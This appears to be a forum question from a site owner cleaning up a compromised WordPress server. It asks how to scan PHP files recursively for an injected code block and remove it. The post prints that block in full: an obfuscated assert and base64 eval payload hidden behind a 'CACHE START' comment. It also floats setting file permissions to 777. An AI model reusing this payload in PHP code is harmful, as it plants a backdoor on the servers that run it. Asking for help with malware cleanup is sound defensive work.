PHP read each .php file and search for code, not string

Long story short, my server was infected through an old wordpress install. I found the leak and now I have to clean up all of the affected files. All files that were affected were given a block of code, which is the same across all affected files.

I'm trying to loop through my server directory, search for this block of code then delete it and save the file.

There are a couple of problems that might make this hard.

1. The stuff I'm looking for is PHP code and I'm not sure the way I'm doing this will look for a specific string in a code block, rather it will only look for strings
2. My host has changed the permissions on any of these files to 200, so I need to change these to 604 or 777 (temporarily) to be able to open, change and save the files.

This is what I have so far:

function getDirContents($dir, $mal) { $files = scandir($dir); foreach($files as $file) { if($file == "." || $file == "..") continue; if(!is_file($dir . $file)){ //echo "Folder: " . $dir . $file . "<br />"; getDirContents($dir.$file."/", $mal); } else { //echo "File: " . $dir . $file . "<br />"; $content = file_get_contents($dir . $file); if (strpos($content, $mal) !== false) { echo "FOUND" . $dir.$file . "<br>"; } } } } $dir = "./"; $mal = "//###=CACHE START=###"; getDirContents($dir, $mal); 

So, I am searching for this specific comment: //###=CACHE START=###. This is the same in every affected file, but I can not seem to search for it.

I haven't gotten to the deleting of the code block yet, but I am trying to remove this from each file:

//###=CACHE START=### error_reporting(0); assert_options(ASSERT_ACTIVE, 1); assert_options(ASSERT_WARNING, 0); assert_options(ASSERT_QUIET_EVAL, 1); $strings = "as";$strings .= "sert"; $strings(str_rot13('riny(onfr64_qrpbqr("nJLtXTymp2I0XPEcLaLcXFO7VTIwnT8tWTyvqwftsFOyoUAyVUftMKWlo3WspzIjo3W0nJ5aXQNcBjccozysp2I0XPWxnKAjoTS5K2Ilpz9lplVfVPVjVvx7PzyzVPtunKAmMKDbWTyvqvxcVUfXnJLbVJIgpUE5XPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFxcVTEcMFtxK0ACG0gWEIfvL2kcMJ50K2AbMJAeVy0cBjccMvujpzIaK21uqTAbXPpuKSZuqFpfVTMcoTIsM2I0K2AioaEyoaEmXPEsH0IFIxIFJlWGD1WWHSEsExyZEH5OGHHvKFxcXFNxLlN9VPW1VwftMJkmMFNxLlN9VPW3VwfXWTDtCFNxK1ASHyMSHyfvH0IFIxIFK05OGHHvKF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKGfXWUHtCFNxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy07PvEcpPN9VPEsH0IFIxIFJlWFEH1CIRIsDHERHvWqBjbxqKWfVQ0tVzu0qUN6Yl8kAwDhZGZlYwD0YwR4BP9aMKDhpTujC2yjCFVhqKWfMJ5wo2EyXPEcpPxhVvMxCFVhqKWfMJ5wo2EyXPExXF4vWaH9Vv51pzkyozAiMTHbWUHcYvVzLm0vYvEwYvVznG0kWzt9Vv5gMQHbVwt2LGV2ZmWxZGp0MGIvAJV2ZJVjAGpmZJV5LwOyZGOzVv4xMP4xqF4xLl4vZFVcBjccMvucozysM2I0XPWuoTkiq191pzksMz9jMJ4vXFN9CFNkXFO7PvEcLaLtCFOznJkyK2qyqS9wo250MJ50pltxqKWfXGfXsFOyoUAynJLbMaIhL3Eco25sMKucp3EmXPWwqKWfK2yhnKDvXFxtrjbxL2ttCFOwqKWfK2yhnKDbWUIloPx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9VEHSREIVfVRMOGSASXGfXL3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK1WSISIFGyEFDH5GExIFYPOHHyISXGfXWUWyp3IfqPN9VTA1pzksMKuyLltxL2tcBjcwqKWfK2Afo3AyXPEwnPx7PvEcLaLtCFNxpzImqJk0Bjc9VTIfp2HtrjbxMaNtCFOzp29wn29jMJ4bVwR2AP4kZmVhAQDhZGt4VvjtBQNfVPEypaWholjtWTIlpaA0pvjtZmNcBjccMvNbWTMjXFO7PvNtVPNxo3I0VQ0tVxqSIPNiM2I0YaObpQ9cpQ0vYaIloTIhL29xMFtxnKNcYvVzMQ0vYaIloTIhL29xMFtxMPxhVvM1CFVhqKWfMJ5wo2EyXPE1XF4vWzZ9Vv4xLl4vWzx9ZFMbCFVhoJD1XPV4AzRlAwZlMQR3ATH1LwIvAwSvZQH3ZmSvBJVjMGRjMvVhWTDhWUHhWTZhVwRvXF4vVRuHISNiZF4kKUWpovV7PvNtVPNxo3I0VP49VPWVo3A0BvNkAwDhZGZlYwD0YwR4BSklKT4vBjbtVPNtWT91qPNhCFNvD29hozIwqTyiowbtD2kip2IppykhKUWpovV7PvNtVPOzq3WcqTHbWTMjYPNxo3I0XGfXVPNtVPElMKAjVQ0tVvV7PvNtVPO3nTyfMFNbVJMyo2LbWTMjXFxtrjbtVPNtVPNtVPElMKAjVP49VTMaMKEmXPEzpPjtZGV4XGfXVPNtVU0XVPNtVTMwoT9mMFtxMaNcBjbtVPNtoTymqPtxnTIuMTIlYPNxLz9xrFxtCFOjpzIaK3AjoTy0XPViKSWpHv8vYPNxpzImpPjtZvx7PvNtVPNxnJW2VQ0tWTWiMUx7Pa0XsDc9BjccMvucp3AyqPtxK1WSHIISH1EoVaNvKFxtWvLtWS9FEISIEIAHJlWjVy0tCG0tVzSuZmR3MzWzVvxtrlOyqzSfXUA0pzyjp2kup2uypltxK1WSHIISH1EoVzZvKFxcBlO9PzIwnT8tWTyvqwg9"));')); //###=CACHE END=### 

Any advice?